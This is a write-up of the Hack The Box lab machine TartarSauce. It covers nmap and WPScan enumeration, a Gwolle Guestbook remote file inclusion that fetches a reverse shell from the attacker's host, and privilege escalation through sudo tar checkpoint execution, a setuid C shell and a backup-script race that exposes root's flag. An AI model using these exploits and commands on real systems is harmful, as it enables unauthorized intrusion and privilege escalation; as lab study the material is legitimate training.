Published on

HTB TartarSauce

Authors

TartarSauce

Enumeration

nmap all ports, full enumerate

nmap -p- -sV -A <ip> --open -o full-enumerate.nmap

└─$ nmap -p- -sV -A $IP --open -o full-enumerate.nmap        
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-23 17:03 EDT
Nmap scan report for 10.129.1.185
Host is up (0.038s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-robots.txt: 5 disallowed entries 
| /webservices/tar/tar/source/ 
| /webservices/monstra-3.0.4/ /webservices/easy-file-uploader/ 
|_/webservices/developmental/ /webservices/phpmyadmin/
|_http-title: Landing Page

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.97 seconds

nmap (all identified TCP ports + default scripts & service versions)

nmap -p <1,2,3> -sV --script default --script http-methods --script http-headers <ip> -o <ip>-identified-ports.nmap

└─$ nmap -p 80 --script default --script http-methods --script http-headers $IP -o identified-ports.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-23 17:04 EDT
Nmap scan report for 10.129.1.185
Host is up (0.032s latency).

PORT   STATE SERVICE
80/tcp open  http
|_http-title: Landing Page
| http-headers: 
|   Date: Sun, 23 Jul 2023 21:04:45 GMT
|   Server: Apache/2.4.18 (Ubuntu)
|   Last-Modified: Wed, 21 Feb 2018 20:31:20 GMT
|   ETag: "2a0e-565becf5ff08d"
|   Accept-Ranges: bytes
|   Content-Length: 10766
|   Vary: Accept-Encoding
|   Connection: close
|   Content-Type: text/html
|   
|_  (Request type: HEAD)
| http-robots.txt: 5 disallowed entries 
| /webservices/tar/tar/source/ 
| /webservices/monstra-3.0.4/ /webservices/easy-file-uploader/ 
|_/webservices/developmental/ /webservices/phpmyadmin/

nmap (vuln scan)

nmap -p <1,2,3> --script vuln <ip> -o <ip>-vuln.nmap

Port Enumeration

**Port 80

  • WPScan 1

    └─$ wpscan --url http://10.129.1.185/webservices/wp/ -e ap -e at         
    _______________________________________________________________
             __          _______   _____
             \ \        / /  __ \ / ____|
              \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
               \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
                \  /\  /  | |     ____) | (__| (_| | | | |
                 \/  \/   |_|    |_____/ \___|\__,_|_| |_|
    
             WordPress Security Scanner by the WPScan Team
                             Version 3.8.24
           Sponsored by Automattic - https://automattic.com/
           @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
    _______________________________________________________________
    
    [+] URL: http://10.129.1.185/webservices/wp/ [10.129.1.185]
    [+] Started: Sun Jul 23 18:48:59 2023
    
    Interesting Finding(s):
    
    [+] Headers
     | Interesting Entry: Server: Apache/2.4.18 (Ubuntu)
     | Found By: Headers (Passive Detection)
     | Confidence: 100%
    
    [+] XML-RPC seems to be enabled: http://10.129.1.185/webservices/wp/xmlrpc.php
     | Found By: Direct Access (Aggressive Detection)
     | Confidence: 100%
     | References:
     |  - http://codex.wordpress.org/XML-RPC_Pingback_API
     |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
     |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
     |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
     |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
    
    [+] WordPress readme found: http://10.129.1.185/webservices/wp/readme.html
     | Found By: Direct Access (Aggressive Detection)
     | Confidence: 100%
    
    [+] The external WP-Cron seems to be enabled: http://10.129.1.185/webservices/wp/wp-cron.php
     | Found By: Direct Access (Aggressive Detection)
     | Confidence: 60%
     | References:
     |  - https://www.iplocation.net/defend-wordpress-from-ddos
     |  - https://github.com/wpscanteam/wpscan/issues/1299
    
    [+] WordPress version 4.9.4 identified (Insecure, released on 2018-02-06).
     | Found By: Emoji Settings (Passive Detection)
     |  - http://10.129.1.185/webservices/wp/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=4.9.4'
     | Confirmed By: Meta Generator (Passive Detection)
     |  - http://10.129.1.185/webservices/wp/, Match: 'WordPress 4.9.4'
    
    [i] The main theme could not be detected.
    
    [+] Enumerating All Themes (via Passive and Aggressive Methods)
     Checking Known Locations - Time: 00:04:50 <========================================================================================================================================================> (25955 / 25955) 100.00% Time: 00:04:50
    [+] Checking Theme Versions (via Passive and Aggressive Methods)
    
    [i] Theme(s) Identified:
    
    [+] twentyfifteen
     | Location: http://10.129.1.185/webservices/wp/wp-content/themes/twentyfifteen/
     | Last Updated: 2023-03-29T00:00:00.000Z
     | Readme: http://10.129.1.185/webservices/wp/wp-content/themes/twentyfifteen/readme.txt
     | [!] The version is out of date, the latest version is 3.4
     | Style URL: http://10.129.1.185/webservices/wp/wp-content/themes/twentyfifteen/style.css
     | Style Name: Twenty Fifteen
     | Style URI: https://wordpress.org/themes/twentyfifteen/
     | Description: Our 2015 default theme is clean, blog-focused, and designed for clarity. Twenty Fifteen's simple, st...
     | Author: the WordPress team
     | Author URI: https://wordpress.org/
     |
     | Found By: Known Locations (Aggressive Detection)
     |  - http://10.129.1.185/webservices/wp/wp-content/themes/twentyfifteen/, status: 500
     |
     | Version: 1.9 (80% confidence)
     | Found By: Style (Passive Detection)
     |  - http://10.129.1.185/webservices/wp/wp-content/themes/twentyfifteen/style.css, Match: 'Version: 1.9'
    
    [+] twentyseventeen
     | Location: http://10.129.1.185/webservices/wp/wp-content/themes/twentyseventeen/
     | Last Updated: 2023-03-29T00:00:00.000Z
     | Readme: http://10.129.1.185/webservices/wp/wp-content/themes/twentyseventeen/README.txt
     | [!] The version is out of date, the latest version is 3.2
     | Style URL: http://10.129.1.185/webservices/wp/wp-content/themes/twentyseventeen/style.css
     | Style Name: Twenty Seventeen
     | Style URI: https://wordpress.org/themes/twentyseventeen/
     | Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...
     | Author: the WordPress team
     | Author URI: https://wordpress.org/
     |
     | Found By: Known Locations (Aggressive Detection)
     |  - http://10.129.1.185/webservices/wp/wp-content/themes/twentyseventeen/, status: 500
     |
     | Version: 1.4 (80% confidence)
     | Found By: Style (Passive Detection)
     |  - http://10.129.1.185/webservices/wp/wp-content/themes/twentyseventeen/style.css, Match: 'Version: 1.4'
    
    [+] twentysixteen
     | Location: http://10.129.1.185/webservices/wp/wp-content/themes/twentysixteen/
     | Last Updated: 2023-03-29T00:00:00.000Z
     | Readme: http://10.129.1.185/webservices/wp/wp-content/themes/twentysixteen/readme.txt
     | [!] The version is out of date, the latest version is 2.9
     | Style URL: http://10.129.1.185/webservices/wp/wp-content/themes/twentysixteen/style.css
     | Style Name: Twenty Sixteen
     | Style URI: https://wordpress.org/themes/twentysixteen/
     | Description: Twenty Sixteen is a modernized take on an ever-popular WordPress layout — the horizontal masthead ...
     | Author: the WordPress team
     | Author URI: https://wordpress.org/
     |
     | Found By: Known Locations (Aggressive Detection)
     |  - http://10.129.1.185/webservices/wp/wp-content/themes/twentysixteen/, status: 500
     |
     | Version: 1.4 (80% confidence)
     | Found By: Style (Passive Detection)
     |  - http://10.129.1.185/webservices/wp/wp-content/themes/twentysixteen/style.css, Match: 'Version: 1.4'
    
    [+] voce
     | Location: http://10.129.1.185/webservices/wp/wp-content/themes/voce/
     | Latest Version: 1.1.0 (up to date)
     | Last Updated: 2017-09-01T00:00:00.000Z
     | Readme: http://10.129.1.185/webservices/wp/wp-content/themes/voce/readme.txt
     | Style URL: http://10.129.1.185/webservices/wp/wp-content/themes/voce/style.css
     | Style Name: voce
     | Style URI: http://limbenjamin.com/pages/voce-wp.html
     | Description: voce is a minimal theme, suitable for text heavy articles. The front page features a list of recent ...
     | Author: Benjamin Lim
     | Author URI: https://limbenjamin.com
     |
     | Found By: Known Locations (Aggressive Detection)
     |  - http://10.129.1.185/webservices/wp/wp-content/themes/voce/, status: 500
     |
     | Version: 1.1.0 (80% confidence)
     | Found By: Style (Passive Detection)
     |  - http://10.129.1.185/webservices/wp/wp-content/themes/voce/style.css, Match: 'Version: 1.1.0'
    
    [!] No WPScan API Token given, as a result vulnerability data has not been output.
    [!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
    
    [+] Finished: Sun Jul 23 18:54:01 2023
    [+] Requests Done: 25998
    [+] Cached Requests: 12
    [+] Data Sent: 7.387 MB
    [+] Data Received: 3.781 MB
    [+] Memory used: 201.965 MB
    [+] Elapsed time: 00:05:01
    

Exploitation

**********Port 80

  1. default credentials…
  2. Users are admin and Monstra

rabbit hole ^

Foothold

  1. /webservices/wp directory found
  2. tartarsauce.htb found in main page, added to /etc/hosts
  3. searchsploit WordPress:
  • just adding ?static=1 to the end of a URL

    So far we know that adding `?static=1` to a wordpress URL should leak its secret content
    
    Here are a few ways to manipulate the returned entries:
    
    - `order` with `asc` or `desc`
    - `orderby`
    - `m` with `m=YYYY`, `m=YYYYMM` or `m=YYYYMMDD` date format
    
    In this case, simply reversing the order of the returned elements suffices and `http://wordpress.local/?static=1&order=asc` will show the secret content:
    
  1. So I could not find shit because apparently it is an exploitable plugin called Gwolle, and my WPScan was not picking up on it, so I at least tried to find it in the source code somewhere, and I found it here; view-source:http://tartarsauce.htb/webservices/wp/index.php/sample-page/
  • actual exploit

    Advisory ID: HTB23275
    Product: Gwolle Guestbook WordPress Plugin
    Vendor: Marcel Pol
    Vulnerable Version(s): 1.5.3 and probably prior
    Tested Version: 1.5.3
    Advisory Publication:  October 14, 2015  [without technical details]
    Vendor Notification: October 14, 2015
    Vendor Patch: October 16, 2015
    Public Disclosure: November 4, 2015
    Vulnerability Type: PHP File Inclusion [CWE-98]
    CVE Reference: CVE-2015-8351
    Risk Level: Critical
    CVSSv3 Base Score: 9.0 [CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H]
    Solution Status: Fixed by Vendor
    Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ )
    
    -----------------------------------------------------------------------------------------------
    
    Advisory Details:
    
    High-Tech Bridge Security Research Lab discovered a critical Remote File Inclusion (RFI) in Gwolle Guestbook WordPress plugin, which can be exploited by non-authenticated attacker to include remote PHP file and execute arbitrary code on the vulnerable system.
    
    HTTP GET parameter "abspath" is not being properly sanitized before being used in PHP require() function. A remote attacker can include a file named 'wp-load.php' from arbitrary remote server and execute its content on the vulnerable web server. In order to do so the attacker needs to place a malicious 'wp-load.php' file into his server document root and includes server's URL into request:
    
    http://[host]/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://[hackers_website]
    
    In order to exploit this vulnerability 'allow_url_include' shall be set to 1. Otherwise, attacker may still include local files and also execute arbitrary code.
    
    Successful exploitation of this vulnerability will lead to entire WordPress installation compromise, and may even lead to the entire web server compromise.
    
    -----------------------------------------------------------------------------------------------
    
    Solution:
    
    Update to Gwolle Guestbook 1.5.4
    
    More Information:
    https://wordpress.org/plugins/gwolle-gb/changelog/
    
    -----------------------------------------------------------------------------------------------
    
    References:
    
    [1] High-Tech Bridge Advisory HTB23275 - https://www.htbridge.com/advisory/HTB23275 - PHP File Inclusion in Gwolle Guestbook WordPress Plugin.
    [2] Gwolle Guestbook WordPress Plugin - https://wordpress.org/plugins/gwolle-gb/ - Gwolle Guestbook is the WordPress guestbook you've just been looking for.
    [3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
    [4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
    [5] ImmuniWeb® SaaS - https://www.htbridge.com/immuniweb/ - hybrid of manual web application penetration test and cutting-edge vulnerability scanner available online via a Software-as-a-Service (SaaS) model.
    
    -----------------------------------------------------------------------------------------------
    
    Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.
    
  1. So my rev.php kept not working when trying this exploit, and that is because you were supposed to name it wp-load.php not rev.php:
Untitled
  1. You can see how it get’s rev.php, but reads it as wp-load.php, but wp-load.php does not exist so it 404’s.
  2. So since the exploit automatically calls wp-load.php, we do not need to specify the file name in the request: http://tartarsauce.htb/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.10.16.3:80/

Untitled


/www/data shell

  1. linpeas.sh
  2. I see a local host of 127.0.0.1:3306 which shows me mysql
  3. We see there is logins in mysql as:

Untitled

w0rdpr3$$d@t@b@$3@cc3$$

  1. mysql -h 127.0.0.1 -u wpuser -p prompted a password, entered the password and im in boi

Untitled

  1. this doesnt really give us anything though cant login anywhere with it, so rabbit hole xd
  2. sudo -l:
User www-data may run the following commands on TartarSauce:
    (onuma) NOPASSWD: /bin/tar

tar

  1. We can see that onuma can run /bin/tar, so lets test it:
$ sudo -u onuma tar
tar: You must specify one of the '-Acdtrux', '--delete' or '--test-label' options
Try 'tar --help' or 'tar --usage' for more information.
  1. It indeed works
  2. Following the “sudo” guide on GTFObins:
$ sudo -u onuma tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
tar: Removing leading `/' from member names
$ id
uid=1000(onuma) gid=1000(onuma) groups=1000(onuma),24(cdrom),30(dip),46(plugdev)
$ whoami
onuma
$
  1. Worked like a charm

Onuma → Root

  1. In the /home/onuma we see a shadow_bkp and if I had to guess this is how we’ll get root

    Untitled

nvm

  1. We do see .mysql_history which caught my attention, and we were in mysql earlier, here’s what it shows:
onuma@TartarSauce:~$ cat .mysql_history 
_HiStOrY_V2_
create\040database\040backuperer;
exit

“backuperer”

  1. Ran linpeas.sh, with “backuperer” in mind and we can see this:

Untitled

  1. Shows “1min 26s ago” and “3min 33s left” so this is being executed about every 5 minutes, so we can look into this.
  2. So I brought pspy32 over to see where it was being executed:

Untitled

  1. cat /usr/sbin/backuperer
  • backuperer

    #!/bin/bash
    
    #-------------------------------------------------------------------------------------
    # backuperer ver 1.0.2 - by ȜӎŗgͷͼȜ
    # ONUMA Dev auto backup program
    # This tool will keep our webapp backed up incase another skiddie defaces us again.
    # We will be able to quickly restore from a backup in seconds ;P
    #-------------------------------------------------------------------------------------
    
    # Set Vars Here
    basedir=/var/www/html
    bkpdir=/var/backups
    tmpdir=/var/tmp
    testmsg=$bkpdir/onuma_backup_test.txt
    errormsg=$bkpdir/onuma_backup_error.txt
    tmpfile=$tmpdir/.$(/usr/bin/head -c100 /dev/urandom |sha1sum|cut -d' ' -f1)
    check=$tmpdir/check
    
    # formatting
    printbdr()
    {
        for n in $(seq 72);
        do /usr/bin/printf $"-";
        done
    }
    bdr=$(printbdr)
    
    # Added a test file to let us see when the last backup was run
    /usr/bin/printf $"$bdr\nAuto backup backuperer backup last ran at : $(/bin/date)\n$bdr\n" > $testmsg
    
    # Cleanup from last time.
    /bin/rm -rf $tmpdir/.* $check
    
    # Backup onuma website dev files.
    /usr/bin/sudo -u onuma /bin/tar -zcvf $tmpfile $basedir &
    
    # Added delay to wait for backup to complete if large files get added.
    /bin/sleep 30
    
    # Test the backup integrity
    integrity_chk()
    {
        /usr/bin/diff -r $basedir $check$basedir
    }
    
    /bin/mkdir $check
    /bin/tar -zxvf $tmpfile -C $check
    if [[ $(integrity_chk) ]]
    then
        # Report errors so the dev can investigate the issue.
        /usr/bin/printf $"$bdr\nIntegrity Check Error in backup last ran :  $(/bin/date)\n$bdr\n$tmpfile\n" >> $errormsg
        integrity_chk >> $errormsg
        exit 2
    else
        # Clean up and save archive to the bkpdir.
        /bin/mv $tmpfile $bkpdir/onuma-www-dev.bak
        /bin/rm -rf $check .*
        exit 0
    fi
    

in essence this script does the following:

  1. Removes dot files from /var/tmp, plus the /var/tmp/check folder.
  2. Zips/archives the contents of /var/www/html as user onuma into a file in /var/tmp with a random name beginning with a dot.
  3. Sleeps for 30 seconds
  4. Creates the directory /var/tmp/check
  5. Extracts the previously archived contents as root into the /var/tmp/check directory
  6. Performs a diff against /var/www/html vs. /var/tmp/check/var/www/html
  7. If the check in 6. reports differences, it just writes an error log, but leaves the files. If no differences are reported or if the diff command errors out (as, for example, the directory doesn’t exit), it moves the archive file into /var/backups and then removes the /var/tmp/check directory and dot file.

  1. created a C program that will spawn a bash shell and keep the user id:
  • C script

    #include <stdio.h>
    #include <unistd.h>
    #include <stdlib.h>
    
    int main ( int argc, char *argv[] )
    {
    	setreuid(0,0);
    	execve("/bin/sh", NULL, NULL);
    }
    

this is all on host machine:

  1. gcc -m32 shell.c -o shell
  2. chmod +s shell
  3. mkdir -p var/www/html
  4. mv shell var/www/html
  5. tar -zcvf shell.tar.gz var/ tar the whole thing up
  6. Now bring it to attacker machine python3 -m http.server 8000wget http://10.10.16.3:8000/shell.tar.gzmv shell.tar.gz /var/tmp
  7. Now that our shell file is in /var/tmp, we need to wait for the backeruper to be execued.
  8. Once executed, we can see the random file it makes:

Untitled

  1. Here is our hidden file, so cp shell.tar.gz .c91b1ca687dce0d1c136c149c0d7ece11ca6a0d6 before the sleep(30) goes off, so that once it re-executes again, we can check /var/tmp/check/var/www/html and see our shell file in there.
  2. ./shell should give you root but ofc since its an old box it doesnt give me root cuz gcc is fucked so I just found this script found a writeup:
  • script

    #!/bin/bash
    
    # work out of shm
    cd /dev/shm
    
    # set both start and cur equal to any backup file if it's there
    start=$(find /var/tmp -maxdepth 1 -type f -name ".*")
    cur=$(find /var/tmp -maxdepth 1 -type f -name ".*")
    
    # loop until there's a change in cur
    echo "Waiting for archive filename to change..."
    while [ "$start" == "$cur" -o "$cur" == "" ] ; do
        sleep 10;
        cur=$(find /var/tmp -maxdepth 1 -type f -name ".*");
    done
    
    # Grab a copy of the archive
    echo "File changed... copying here"
    cp $cur .
    
    # get filename
    fn=$(echo $cur | cut -d'/' -f4)
    
    # extract archive
    tar -zxf $fn
    
    # remove robots.txt and replace it with link to root.txt
    rm var/www/html/robots.txt
    ln -s /root/root.txt var/www/html/robots.txt
    
    # remove old archive
    rm $fn
    
    # create new archive
    tar czf $fn var
    
    # put it back, and clean up
    mv $fn $cur
    rm $fn
    rm -rf var
    
    # wait for results
    echo "Waiting for new logs..."
    tail -f /var/backups/onuma_backup_error.txt
    

this script printed the /root/root.txt flag for me but did not give root, good enough for this aids machine


Useful resource links

Lessons Learned

  • gwolle-gb wordpress plugin exploited
  • /bin/tar from sudo -l